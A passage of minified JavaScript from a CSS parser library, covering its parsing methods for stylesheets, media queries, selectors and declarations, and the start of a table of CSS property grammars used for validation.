SyntaxUnit,MediaQuery.prototype.constructor=MediaQuery,Parser.DEFAULT_TYPE=0,Parser.COMBINATOR_TYPE=1,Parser.MEDIA_FEATURE_TYPE=2,Parser.MEDIA_QUERY_TYPE=3,Parser.PROPERTY_NAME_TYPE=4,Parser.PROPERTY_VALUE_TYPE=5,Parser.PROPERTY_VALUE_PART_TYPE=6,Parser.SELECTOR_TYPE=7,Parser.SELECTOR_PART_TYPE=8,Parser.SELECTOR_SUB_PART_TYPE=9,Parser.prototype=function(){var e=new EventTarget,t,n={constructor:Parser,DEFAULT_TYPE:0,COMBINATOR_TYPE:1,MEDIA_FEATURE_TYPE:2,MEDIA_QUERY_TYPE:3,PROPERTY_NAME_TYPE:4,PROPERTY_VALUE_TYPE:5,PROPERTY_VALUE_PART_TYPE:6,SELECTOR_TYPE:7,SELECTOR_PART_TYPE:8,SELECTOR_SUB_PART_TYPE:9,_stylesheet:function(){var e=this._tokenStream,t=null,n,r,i;this.fire(\"startstylesheet\"),this._charset(),this._skipCruft();while(e.peek()==Tokens.IMPORT_SYM)this._import(),this._skipCruft();while(e.peek()==Tokens.NAMESPACE_SYM)this._namespace(),this._skipCruft();i=e.peek();while(i>Tokens.EOF){try{switch(i){case Tokens.MEDIA_SYM:this._media(),this._skipCruft();break;case Tokens.PAGE_SYM:this._page(),this._skipCruft();break;case Tokens.FONT_FACE_SYM:this._font_face(),this._skipCruft();break;case Tokens.KEYFRAMES_SYM:this._keyframes(),this._skipCruft();break;case Tokens.VIEWPORT_SYM:this._viewport(),this._skipCruft();break;case Tokens.UNKNOWN_SYM:e.get();if(!!this.options.strict)throw new SyntaxError(\"Unknown @ rule.\",e.LT(0).startLine,e.LT(0).startCol);this.fire({type:\"error\",error:null,message:\"Unknown @ rule: \"+e.LT(0).value+\".\",line:e.LT(0).startLine,col:e.LT(0).startCol}),n=0;while(e.advance([Tokens.LBRACE,Tokens.RBRACE])==Tokens.LBRACE)n++;while(n)e.advance([Tokens.RBRACE]),n--;break;case Tokens.S:this._readWhitespace();break;default:if(!this._ruleset())switch(i){case Tokens.CHARSET_SYM:throw r=e.LT(1),this._charset(!1),new SyntaxError(\"@charset not allowed here.\",r.startLine,r.startCol);case Tokens.IMPORT_SYM:throw r=e.LT(1),this._import(!1),new SyntaxError(\"@import not allowed here.\",r.startLine,r.startCol);case Tokens.NAMESPACE_SYM:throw r=e.LT(1),this._namespace(!1),new SyntaxError(\"@namespace not allowed here.\",r.startLine,r.startCol);default:e.get(),this._unexpectedToken(e.token())}}}catch(s){if(!(s instanceof SyntaxError&&!this.options.strict))throw s;this.fire({type:\"error\",error:s,message:s.message,line:s.line,col:s.col})}i=e.peek()}i!=Tokens.EOF&&this._unexpectedToken(e.token()),this.fire(\"endstylesheet\")},_charset:function(e){var t=this._tokenStream,n,r,i,s;t.match(Tokens.CHARSET_SYM)&&(i=t.token().startLine,s=t.token().startCol,this._readWhitespace(),t.mustMatch(Tokens.STRING),r=t.token(),n=r.value,this._readWhitespace(),t.mustMatch(Tokens.SEMICOLON),e!==!1&&this.fire({type:\"charset\",charset:n,line:i,col:s}))},_import:function(e){var t=this._tokenStream,n,r,i,s=[];t.mustMatch(Tokens.IMPORT_SYM),i=t.token(),this._readWhitespace(),t.mustMatch([Tokens.STRING,Tokens.URI]),r=t.token().value.replace(/^(?:url\\()?[\"']?([^\"']+?)[\"']?\\)?$/,\"$1\"),this._readWhitespace(),s=this._media_query_list(),t.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:\"import\",uri:r,media:s,line:i.startLine,col:i.startCol})},_namespace:function(e){var t=this._tokenStream,n,r,i,s;t.mustMatch(Tokens.NAMESPACE_SYM),n=t.token().startLine,r=t.token().startCol,this._readWhitespace(),t.match(Tokens.IDENT)&&(i=t.token().value,this._readWhitespace()),t.mustMatch([Tokens.STRING,Tokens.URI]),s=t.token().value.replace(/(?:url\\()?[\"']([^\"']+)[\"']\\)?/,\"$1\"),this._readWhitespace(),t.mustMatch(Tokens.SEMICOLON),this._readWhitespace(),e!==!1&&this.fire({type:\"namespace\",prefix:i,uri:s,line:n,col:r})},_media:function(){var e=this._tokenStream,t,n,r;e.mustMatch(Tokens.MEDIA_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),r=this._media_query_list(),e.mustMatch(Tokens.LBRACE),this._readWhitespace(),this.fire({type:\"startmedia\",media:r,line:t,col:n});for(;;)if(e.peek()==Tokens.PAGE_SYM)this._page();else if(e.peek()==Tokens.FONT_FACE_SYM)this._font_face();else if(e.peek()==Tokens.VIEWPORT_SYM)this._viewport();else if(!this._ruleset())break;e.mustMatch(Tokens.RBRACE),this._readWhitespace(),this.fire({type:\"endmedia\",media:r,line:t,col:n})},_media_query_list:function(){var e=this._tokenStream,t=[];this._readWhitespace(),(e.peek()==Tokens.IDENT||e.peek()==Tokens.LPAREN)&&t.push(this._media_query());while(e.match(Tokens.COMMA))this._readWhitespace(),t.push(this._media_query());return t},_media_query:function(){var e=this._tokenStream,t=null,n=null,r=null,i=[];e.match(Tokens.IDENT)&&(n=e.token().value.toLowerCase(),n!=\"only\"&&n!=\"not\"?(e.unget(),n=null):r=e.token()),this._readWhitespace(),e.peek()==Tokens.IDENT?(t=this._media_type(),r===null&&(r=e.token())):e.peek()==Tokens.LPAREN&&(r===null&&(r=e.LT(1)),i.push(this._media_expression()));if(t===null&&i.length===0)return null;this._readWhitespace();while(e.match(Tokens.IDENT))e.token().value.toLowerCase()!=\"and\"&&this._unexpectedToken(e.token()),this._readWhitespace(),i.push(this._media_expression());return new MediaQuery(n,t,i,r.startLine,r.startCol)},_media_type:function(){return this._media_feature()},_media_expression:function(){var e=this._tokenStream,t=null,n,r=null;return e.mustMatch(Tokens.LPAREN),t=this._media_feature(),this._readWhitespace(),e.match(Tokens.COLON)&&(this._readWhitespace(),n=e.LT(1),r=this._expression()),e.mustMatch(Tokens.RPAREN),this._readWhitespace(),new MediaFeature(t,r?new SyntaxUnit(r,n.startLine,n.startCol):null)},_media_feature:function(){var e=this._tokenStream;return e.mustMatch(Tokens.IDENT),SyntaxUnit.fromToken(e.token())},_page:function(){var e=this._tokenStream,t,n,r=null,i=null;e.mustMatch(Tokens.PAGE_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),e.match(Tokens.IDENT)&&(r=e.token().value,r.toLowerCase()===\"auto\"&&this._unexpectedToken(e.token())),e.peek()==Tokens.COLON&&(i=this._pseudo_page()),this._readWhitespace(),this.fire({type:\"startpage\",id:r,pseudo:i,line:t,col:n}),this._readDeclarations(!0,!0),this.fire({type:\"endpage\",id:r,pseudo:i,line:t,col:n})},_margin:function(){var e=this._tokenStream,t,n,r=this._margin_sym();return r?(t=e.token().startLine,n=e.token().startCol,this.fire({type:\"startpagemargin\",margin:r,line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endpagemargin\",margin:r,line:t,col:n}),!0):!1},_margin_sym:function(){var e=this._tokenStream;return e.match([Tokens.TOPLEFTCORNER_SYM,Tokens.TOPLEFT_SYM,Tokens.TOPCENTER_SYM,Tokens.TOPRIGHT_SYM,Tokens.TOPRIGHTCORNER_SYM,Tokens.BOTTOMLEFTCORNER_SYM,Tokens.BOTTOMLEFT_SYM,Tokens.BOTTOMCENTER_SYM,Tokens.BOTTOMRIGHT_SYM,Tokens.BOTTOMRIGHTCORNER_SYM,Tokens.LEFTTOP_SYM,Tokens.LEFTMIDDLE_SYM,Tokens.LEFTBOTTOM_SYM,Tokens.RIGHTTOP_SYM,Tokens.RIGHTMIDDLE_SYM,Tokens.RIGHTBOTTOM_SYM])?SyntaxUnit.fromToken(e.token()):null},_pseudo_page:function(){var e=this._tokenStream;return e.mustMatch(Tokens.COLON),e.mustMatch(Tokens.IDENT),e.token().value},_font_face:function(){var e=this._tokenStream,t,n;e.mustMatch(Tokens.FONT_FACE_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),this.fire({type:\"startfontface\",line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endfontface\",line:t,col:n})},_viewport:function(){var e=this._tokenStream,t,n;e.mustMatch(Tokens.VIEWPORT_SYM),t=e.token().startLine,n=e.token().startCol,this._readWhitespace(),this.fire({type:\"startviewport\",line:t,col:n}),this._readDeclarations(!0),this.fire({type:\"endviewport\",line:t,col:n})},_operator:function(e){var t=this._tokenStream,n=null;if(t.match([Tokens.SLASH,Tokens.COMMA])||e&&t.match([Tokens.PLUS,Tokens.STAR,Tokens.MINUS]))n=t.token(),this._readWhitespace();return n?PropertyValuePart.fromToken(n):null},_combinator:function(){var e=this._tokenStream,t=null,n;return e.match([Tokens.PLUS,Tokens.GREATER,Tokens.TILDE])&&(n=e.token(),t=new Combinator(n.value,n.startLine,n.startCol),this._readWhitespace()),t},_unary_operator:function(){var e=this._tokenStream;return e.match([Tokens.MINUS,Tokens.PLUS])?e.token().value:null},_property:function(){var e=this._tokenStream,t=null,n=null,r,i,s,o;return e.peek()==Tokens.STAR&&this.options.starHack&&(e.get(),i=e.token(),n=i.value,s=i.startLine,o=i.startCol),e.match(Tokens.IDENT)&&(i=e.token(),r=i.value,r.charAt(0)==\"_\"&&this.options.underscoreHack&&(n=\"_\",r=r.substring(1)),t=new PropertyName(r,n,s||i.startLine,o||i.startCol),this._readWhitespace()),t},_ruleset:function(){var e=this._tokenStream,t,n;try{n=this._selectors_group()}catch(r){if(r instanceof SyntaxError&&!this.options.strict){this.fire({type:\"error\",error:r,message:r.message,line:r.line,col:r.col}),t=e.advance([Tokens.RBRACE]);if(t!=Tokens.RBRACE)throw r;return!0}throw r}return n&&(this.fire({type:\"startrule\",selectors:n,line:n[0].line,col:n[0].col}),this._readDeclarations(!0),this.fire({type:\"endrule\",selectors:n,line:n[0].line,col:n[0].col})),n},_selectors_group:function(){var e=this._tokenStream,t=[],n;n=this._selector();if(n!==null){t.push(n);while(e.match(Tokens.COMMA))this._readWhitespace(),n=this._selector(),n!==null?t.push(n):this._unexpectedToken(e.LT(1))}return t.length?t:null},_selector:function(){var e=this._tokenStream,t=[],n=null,r=null,i=null;n=this._simple_selector_sequence();if(n===null)return null;t.push(n);do{r=this._combinator();if(r!==null)t.push(r),n=this._simple_selector_sequence(),n===null?this._unexpectedToken(e.LT(1)):t.push(n);else{if(!this._readWhitespace())break;i=new Combinator(e.token().value,e.token().startLine,e.token().startCol),r=this._combinator(),n=this._simple_selector_sequence(),n===null?r!==null&&this._unexpectedToken(e.LT(1)):(r!==null?t.push(r):t.push(i),t.push(n))}}while(!0);return new Selector(t,t[0].line,t[0].col)},_simple_selector_sequence:function(){var e=this._tokenStream,t=null,n=[],r=\"\",i=[function(){return e.match(Tokens.HASH)?new SelectorSubPart(e.token().value,\"id\",e.token().startLine,e.token().startCol):null},this._class,this._attrib,this._pseudo,this._negation],s=0,o=i.length,u=null,a=!1,f,l;f=e.LT(1).startLine,l=e.LT(1).startCol,t=this._type_selector(),t||(t=this._universal()),t!==null&&(r+=t);for(;;){if(e.peek()===Tokens.S)break;while(s<o&&u===null)u=i[s++].call(this);if(u===null){if(r===\"\")return null;break}s=0,n.push(u),r+=u.toString(),u=null}return r!==\"\"?new SelectorPart(t,n,r,f,l):null},_type_selector:function(){var e=this._tokenStream,t=this._namespace_prefix(),n=this._element_name();return n?(t&&(n.text=t+n.text,n.col-=t.length),n):(t&&(e.unget(),t.length>1&&e.unget()),null)},_class:function(){var e=this._tokenStream,t;return e.match(Tokens.DOT)?(e.mustMatch(Tokens.IDENT),t=e.token(),new SelectorSubPart(\".\"+t.value,\"class\",t.startLine,t.startCol-1)):null},_element_name:function(){var e=this._tokenStream,t;return e.match(Tokens.IDENT)?(t=e.token(),new SelectorSubPart(t.value,\"elementName\",t.startLine,t.startCol)):null},_namespace_prefix:function(){var e=this._tokenStream,t=\"\";if(e.LA(1)===Tokens.PIPE||e.LA(2)===Tokens.PIPE)e.match([Tokens.IDENT,Tokens.STAR])&&(t+=e.token().value),e.mustMatch(Tokens.PIPE),t+=\"|\";return t.length?t:null},_universal:function(){var e=this._tokenStream,t=\"\",n;return n=this._namespace_prefix(),n&&(t+=n),e.match(Tokens.STAR)&&(t+=\"*\"),t.length?t:null},_attrib:function(){var e=this._tokenStream,t=null,n,r;return e.match(Tokens.LBRACKET)?(r=e.token(),t=r.value,t+=this._readWhitespace(),n=this._namespace_prefix(),n&&(t+=n),e.mustMatch(Tokens.IDENT),t+=e.token().value,t+=this._readWhitespace(),e.match([Tokens.PREFIXMATCH,Tokens.SUFFIXMATCH,Tokens.SUBSTRINGMATCH,Tokens.EQUALS,Tokens.INCLUDES,Tokens.DASHMATCH])&&(t+=e.token().value,t+=this._readWhitespace(),e.mustMatch([Tokens.IDENT,Tokens.STRING]),t+=e.token().value,t+=this._readWhitespace()),e.mustMatch(Tokens.RBRACKET),new SelectorSubPart(t+\"]\",\"attribute\",r.startLine,r.startCol)):null},_pseudo:function(){var e=this._tokenStream,t=null,n=\":\",r,i;return e.match(Tokens.COLON)&&(e.match(Tokens.COLON)&&(n+=\":\"),e.match(Tokens.IDENT)?(t=e.token().value,r=e.token().startLine,i=e.token().startCol-n.length):e.peek()==Tokens.FUNCTION&&(r=e.LT(1).startLine,i=e.LT(1).startCol-n.length,t=this._functional_pseudo()),t&&(t=new SelectorSubPart(n+t,\"pseudo\",r,i))),t},_functional_pseudo:function(){var e=this._tokenStream,t=null;return e.match(Tokens.FUNCTION)&&(t=e.token().value,t+=this._readWhitespace(),t+=this._expression(),e.mustMatch(Tokens.RPAREN),t+=\")\"),t},_expression:function(){var e=this._tokenStream,t=\"\";while(e.match([Tokens.PLUS,Tokens.MINUS,Tokens.DIMENSION,Tokens.NUMBER,Tokens.STRING,Tokens.IDENT,Tokens.LENGTH,Tokens.FREQ,Tokens.ANGLE,Tokens.TIME,Tokens.RESOLUTION,Tokens.SLASH]))t+=e.token().value,t+=this._readWhitespace();return t.length?t:null},_negation:function(){var e=this._tokenStream,t,n,r=\"\",i,s=null;return e.match(Tokens.NOT)&&(r=e.token().value,t=e.token().startLine,n=e.token().startCol,r+=this._readWhitespace(),i=this._negation_arg(),r+=i,r+=this._readWhitespace(),e.match(Tokens.RPAREN),r+=e.token().value,s=new SelectorSubPart(r,\"not\",t,n),s.args.push(i)),s},_negation_arg:function(){var e=this._tokenStream,t=[this._type_selector,this._universal,function(){return e.match(Tokens.HASH)?new SelectorSubPart(e.token().value,\"id\",e.token().startLine,e.token().startCol):null},this._class,this._attrib,this._pseudo],n=null,r=0,i=t.length,s,o,u,a;o=e.LT(1).startLine,u=e.LT(1).startCol;while(r<i&&n===null)n=t[r].call(this),r++;return n===null&&this._unexpectedToken(e.LT(1)),n.type==\"elementName\"?a=new SelectorPart(n,[],n.toString(),o,u):a=new SelectorPart(null,[n],n.toString(),o,u),a},_declaration:function(){var e=this._tokenStream,t=null,n=null,r=null,i=null,s=null,o=\"\";t=this._property();if(t!==null){e.mustMatch(Tokens.COLON),this._readWhitespace(),n=this._expr(),(!n||n.length===0)&&this._unexpectedToken(e.LT(1)),r=this._prio(),o=t.toString();if(this.options.starHack&&t.hack==\"*\"||this.options.underscoreHack&&t.hack==\"_\")o=t.text;try{this._validateProperty(o,n)}catch(u){s=u}return this.fire({type:\"property\",property:t,value:n,important:r,line:t.line,col:t.col,invalid:s}),!0}return!1},_prio:function(){var e=this._tokenStream,t=e.match(Tokens.IMPORTANT_SYM);return this._readWhitespace(),t},_expr:function(e){var t=this._tokenStream,n=[],r=null,i=null;r=this._term(e);if(r!==null){n.push(r);do{i=this._operator(e),i&&n.push(i),r=this._term(e);if(r===null)break;n.push(r)}while(!0)}return n.length>0?new PropertyValue(n,n[0].line,n[0].col):null},_term:function(e){var t=this._tokenStream,n=null,r=null,i=null,s,o,u;return n=this._unary_operator(),n!==null&&(o=t.token().startLine,u=t.token().startCol),t.peek()==Tokens.IE_FUNCTION&&this.options.ieFilters?(r=this._ie_function(),n===null&&(o=t.token().startLine,u=t.token().startCol)):e&&t.match([Tokens.LPAREN,Tokens.LBRACE,Tokens.LBRACKET])?(s=t.token(),i=s.endChar,r=s.value+this._expr(e).text,n===null&&(o=t.token().startLine,u=t.token().startCol),t.mustMatch(Tokens.type(i)),r+=i,this._readWhitespace()):t.match([Tokens.NUMBER,Tokens.PERCENTAGE,Tokens.LENGTH,Tokens.ANGLE,Tokens.TIME,Tokens.FREQ,Tokens.STRING,Tokens.IDENT,Tokens.URI,Tokens.UNICODE_RANGE])?(r=t.token().value,n===null&&(o=t.token().startLine,u=t.token().startCol),this._readWhitespace()):(s=this._hexcolor(),s===null?(n===null&&(o=t.LT(1).startLine,u=t.LT(1).startCol),r===null&&(t.LA(3)==Tokens.EQUALS&&this.options.ieFilters?r=this._ie_function():r=this._function())):(r=s.value,n===null&&(o=s.startLine,u=s.startCol))),r!==null?new PropertyValuePart(n!==null?n+r:r,o,u):null},_function:function(){var e=this._tokenStream,t=null,n=null,r;if(e.match(Tokens.FUNCTION)){t=e.token().value,this._readWhitespace(),n=this._expr(!0),t+=n;if(this.options.ieFilters&&e.peek()==Tokens.EQUALS)do{this._readWhitespace()&&(t+=e.token().value),e.LA(0)==Tokens.COMMA&&(t+=e.token().value),e.match(Tokens.IDENT),t+=e.token().value,e.match(Tokens.EQUALS),t+=e.token().value,r=e.peek();while(r!=Tokens.COMMA&&r!=Tokens.S&&r!=Tokens.RPAREN)e.get(),t+=e.token().value,r=e.peek()}while(e.match([Tokens.COMMA,Tokens.S]));e.match(Tokens.RPAREN),t+=\")\",this._readWhitespace()}return t},_ie_function:function(){var e=this._tokenStream,t=null,n=null,r;if(e.match([Tokens.IE_FUNCTION,Tokens.FUNCTION])){t=e.token().value;do{this._readWhitespace()&&(t+=e.token().value),e.LA(0)==Tokens.COMMA&&(t+=e.token().value),e.match(Tokens.IDENT),t+=e.token().value,e.match(Tokens.EQUALS),t+=e.token().value,r=e.peek();while(r!=Tokens.COMMA&&r!=Tokens.S&&r!=Tokens.RPAREN)e.get(),t+=e.token().value,r=e.peek()}while(e.match([Tokens.COMMA,Tokens.S]));e.match(Tokens.RPAREN),t+=\")\",this._readWhitespace()}return t},_hexcolor:function(){var e=this._tokenStream,t=null,n;if(e.match(Tokens.HASH)){t=e.token(),n=t.value;if(!/#[a-f0-9]{3,6}/i.test(n))throw new SyntaxError(\"Expected a hex color but found '\"+n+\"' at line \"+t.startLine+\", col \"+t.startCol+\".\",t.startLine,t.startCol);this._readWhitespace()}return t},_keyframes:function(){var e=this._tokenStream,t,n,r,i=\"\";e.mustMatch(Tokens.KEYFRAMES_SYM),t=e.token(),/^@\\-([^\\-]+)\\-/.test(t.value)&&(i=RegExp.$1),this._readWhitespace(),r=this._keyframe_name(),this._readWhitespace(),e.mustMatch(Tokens.LBRACE),this.fire({type:\"startkeyframes\",name:r,prefix:i,line:t.startLine,col:t.startCol}),this._readWhitespace(),n=e.peek();while(n==Tokens.IDENT||n==Tokens.PERCENTAGE)this._keyframe_rule(),this._readWhitespace(),n=e.peek();this.fire({type:\"endkeyframes\",name:r,prefix:i,line:t.startLine,col:t.startCol}),this._readWhitespace(),e.mustMatch(Tokens.RBRACE)},_keyframe_name:function(){var e=this._tokenStream,t;return e.mustMatch([Tokens.IDENT,Tokens.STRING]),SyntaxUnit.fromToken(e.token())},_keyframe_rule:function(){var e=this._tokenStream,t,n=this._key_list();this.fire({type:\"startkeyframerule\",keys:n,line:n[0].line,col:n[0].col}),this._readDeclarations(!0),this.fire({type:\"endkeyframerule\",keys:n,line:n[0].line,col:n[0].col})},_key_list:function(){var e=this._tokenStream,t,n,r=[];r.push(this._key()),this._readWhitespace();while(e.match(Tokens.COMMA))this._readWhitespace(),r.push(this._key()),this._readWhitespace();return r},_key:function(){var e=this._tokenStream,t;if(e.match(Tokens.PERCENTAGE))return SyntaxUnit.fromToken(e.token());if(e.match(Tokens.IDENT)){t=e.token();if(/from|to/i.test(t.value))return SyntaxUnit.fromToken(t);e.unget()}this._unexpectedToken(e.LT(1))},_skipCruft:function(){while(this._tokenStream.match([Tokens.S,Tokens.CDO,Tokens.CDC]));},_readDeclarations:function(e,t){var n=this._tokenStream,r;this._readWhitespace(),e&&n.mustMatch(Tokens.LBRACE),this._readWhitespace();try{for(;;){if(!(n.match(Tokens.SEMICOLON)||t&&this._margin())){if(!this._declaration())break;if(!n.match(Tokens.SEMICOLON))break}this._readWhitespace()}n.mustMatch(Tokens.RBRACE),this._readWhitespace()}catch(i){if(!(i instanceof SyntaxError&&!this.options.strict))throw i;this.fire({type:\"error\",error:i,message:i.message,line:i.line,col:i.col}),r=n.advance([Tokens.SEMICOLON,Tokens.RBRACE]);if(r==Tokens.SEMICOLON)this._readDeclarations(!1,t);else if(r!=Tokens.RBRACE)throw i}},_readWhitespace:function(){var e=this._tokenStream,t=\"\";while(e.match(Tokens.S))t+=e.token().value;return t},_unexpectedToken:function(e){throw new SyntaxError(\"Unexpected token '\"+e.value+\"' at line \"+e.startLine+\", col \"+e.startCol+\".\",e.startLine,e.startCol)},_verifyEnd:function(){this._tokenStream.LA(1)!=Tokens.EOF&&this._unexpectedToken(this._tokenStream.LT(1))},_validateProperty:function(e,t){Validation.validate(e,t)},parse:function(e){this._tokenStream=new TokenStream(e,Tokens),this._stylesheet()},parseStyleSheet:function(e){return this.parse(e)},parseMediaQuery:function(e){this._tokenStream=new TokenStream(e,Tokens);var t=this._media_query();return this._verifyEnd(),t},parsePropertyValue:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._expr();return this._readWhitespace(),this._verifyEnd(),t},parseRule:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._ruleset();return this._readWhitespace(),this._verifyEnd(),t},parseSelector:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._selector();return this._readWhitespace(),this._verifyEnd(),t},parseStyleAttribute:function(e){e+=\"}\",this._tokenStream=new TokenStream(e,Tokens),this._readDeclarations()}};for(t in n)n.hasOwnProperty(t)&&(e[t]=n[t]);return e}();var Properties={\"align-items\":\"flex-start | flex-end | center | baseline | stretch\",\"align-content\":\"flex-start | flex-end | center | space-between | space-around | stretch\",\"align-self\":\"auto | flex-start | flex-end | center | baseline | stretch\",\"-webkit-align-items\":\"flex-start | flex-end | center | baseline | stretch\",\"-webkit-align-content\":\"flex-start | flex-end | center | space-between | space-around | stretch\",\"-webkit-align-self\":\"auto | flex-start | flex-end | center | baseline | stretch\",\"alignment-adjust\":\"auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>\",\"alignment-baseline\":\"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",animation:1,\"animation-delay\":{multi:\"<time>\",comma:!0},\"animation-direction\":{multi:\"normal | alternate\",comma:!0},\"animation-duration\":{multi:\"<time>\",comma:!0},\"animation-fill-mode\":{multi:\"none | forwards | backwards | both\",comma:!0},\"animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"animation-name\":{multi:\"none | <ident>\",comma:!0},\"animation-play-state\":{multi:\"running | paused\",comma:!0},\"animation-timing-function\":1,\"-moz-animation-delay\":{multi:\"<time>\",comma:!0},\"-moz-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-moz-animation-duration\":{multi:\"<time>\",comma:!0},\"-moz-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-moz-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-moz-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-ms-animation-delay\":{multi:\"<time>\",comma:!0},\"-ms-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-ms-animation-duration\":{multi:\"<time>\",comma:!0},\"-ms-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-ms-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-ms-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-webkit-animation-delay\":{multi:\"<time>\",comma:!0},\"-webkit-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-webkit-animation-duration\":{multi:\"<time>\",comma:!0},\"-webkit-animation-fill-mode\":{multi:\"none | forwards | backwards | both\",comma:!0},\"-webkit-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-webkit-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-webkit-animation-play-state\":{multi:\"running | paused\",comma:!0},\"-o-animation-delay\":{multi:\"<time>\",comma:!0},\"-o-animation-direction\":{multi:\"normal | alternate\",comma:!0},\"-o-animation-duration\":{multi:\"<time>\",comma:!0},\"-o-animation-iteration-count\":{multi:\"<number> | infinite\",comma:!0},\"-o-animation-name\":{multi:\"none | <ident>\",comma:!0},\"-o-animation-play-state\":{multi:\"running | paused\",comma:!0},appearance:\"icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal | none | inherit\",azimuth:function(e){var t=\"<angle> | leftwards | rightwards | inherit\",n=\"left-side | far-left | left | center-left | center | center-right | right | far-right | right-side\",r=!1,i=!1,s;ValidationTypes.isAny(e,t)||(ValidationTypes.isAny(e,\"behind\")&&(r=!0,i=!0),ValidationTypes.isAny(e,n)&&(i=!0,r||ValidationTypes.isAny(e,\"behind\")));if(e.hasNext())throw s=e.next(),i?new ValidationError(\"Expected end of value but found '\"+s+\"'.\",s.line,s.col):new ValidationError(\"Expected (<'azimuth'>) but found '\"+s+\"'.\",s.line,s.col)},\"backface-visibility\":\"visible | hidden\",background:1,\"background-attachment\":{multi:\"<attachment>\",comma:!0},\"background-clip\":{multi:\"<box>\",comma:!0},\"background-color\":\"<color> | inherit\",\"background-image\":{multi:\"<bg-image>\",comma:!0},\"background-origin\":{multi:\"<box>\",comma:!0},\"background-position\":{multi:\"<bg-position>\",comma:!0},\"background-repeat\":{multi:\"<repeat-style>\"},\"background-size\":{multi:\"<bg-size>\",comma:!0},\"baseline-shift\":\"baseline | sub | super | <percentage> | <length>\",behavior:1,binding:1,bleed:\"<length>\",\"bookmark-label\":\"<content> | <attr> | <string>\",\"bookmark-level\":\"none | <integer>\",\"bookmark-state\":\"open | closed\",\"bookmark-target\":\"none | <uri> | <attr>\",border:\"<border-width> || <border-style> || <color>\",\"border-bottom\":\"<border-width> || <border-style> || <color>\",\"border-bottom-color\":\"<color> | inherit\",\"border-bottom-left-radius\":\"<x-one-radius>\",\"border-bottom-right-radius\":\"<x-one-radius>\",\"border-bottom-style\":\"<border-style>\",\"border-bottom-width\":\"<border-width>\",\"border-collapse\":\"collapse | separate | inherit\",\"border-color\":{multi:\"<color> | inherit\",max:4},\"border-image\":1,\"border-image-outset\":{multi:\"<length> | <number>\",max:4},\"border-image-repeat\":{multi:\"stretch | repeat | round\",max:2},\"border-image-slice\":function(e){var t=!1,n=\"<number> | <percentage>\",r=!1,i=0,s=4,o;ValidationTypes.isAny(e,\"fill\")&&(r=!0,t=!0);while(e.hasNext()&&i<s){t=ValidationTypes.isAny(e,n);if(!t)break;i++}r?t=!0:ValidationTypes.isAny(e,\"fill\");if(e.hasNext())throw o=e.next(),t?new ValidationError(\"Expected end of value but found '\"+o+\"'.\",o.line,o.col):new ValidationError(\"Expected ([<number> | <percentage>]{1,4} && fill?) but found '\"+o+\"'.\",o.line,o.col)},\"border-image-source\":\"<image> | none\",\"border-image-width\":{multi:\"<length> | <percentage> | <number> | auto\",max:4},\"border-left\":\"<border-width> || <border-style> || <color>\",\"border-left-color\":\"<color> | inherit\",\"border-left-style\":\"<border-style>\",\"border-left-width\":\"<border-width>\",\"border-radius\":function(e){var t=!1,n=\"<length> | <percentage> | inherit\",r=!1,i=!1,s=0,o=8,u;while(e.hasNext()&&s<o){t=ValidationTypes.isAny(e,n);if(!t){if(!(e.peek()==\"/\"&&s>0&&!r))break;r=!0,o=s+5,e.next()}s++}if(e.hasNext())throw u=e.next(),t?new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col):new ValidationError(\"Expected (<'border-radius'>) but found '\"+u+\"'.\",u.line,u.col)},\"border-right\":\"<border-width> || <border-style> || <color>\",\"border-right-color\":\"<color> | inherit\",\"border-right-style\":\"<border-style>\",\"border-right-width\":\"<border-width>\",\"border-spacing\":{multi:\"<length> | inherit\",max:2},\"border-style\":{multi:\"<border-style>\",max:4},\"border-top\":\"<border-width> || <border-style> || <color>\",\"border-top-color\":\"<color> | inherit\",\"border-top-left-radius\":\"<x-one-radius>\",\"border-top-right-radius\":\"<x-one-radius>\",\"border-top-style\":\"<border-style>\",\"border-top-width\":\"<border-width>\",\"border-width\":{multi:\"<border-width>\",max:4},bottom:\"<margin-width> | inherit\",\"-moz-box-align\":\"start | end | center | baseline | stretch\",\"-moz-box-decoration-break\":\"slice |clone\",\"-moz-box-direction\":\"normal | reverse | inherit\",\"-moz-box-flex\":\"<number>\",\"-moz-box-flex-group\":\"<integer>\",\"-moz-box-lines\":\"single | multiple\",\"-moz-box-ordinal-group\":\"<integer>\",\"-moz-box-orient\":\"horizontal | vertical | inline-axis | block-axis | inherit\",\"-moz-box-pack\":\"start | end | center | justify\",\"-webkit-box-align\":\"start | end | center | baseline | stretch\",\"-webkit-box-decoration-break\":\"slice |clone\",\"-webkit-box-direction\":\"normal | reverse | inherit\",\"-webkit-box-flex\":\"<number>\",\"-webkit-box-flex-group\":\"<integer>\",\"-webkit-box-lines\":\"single | multiple\",\"-webkit-box-ordinal-group\":\"<integer>\",\"-webkit-box-orient\":\"horizontal | vertical | inline-axis | block-axis | 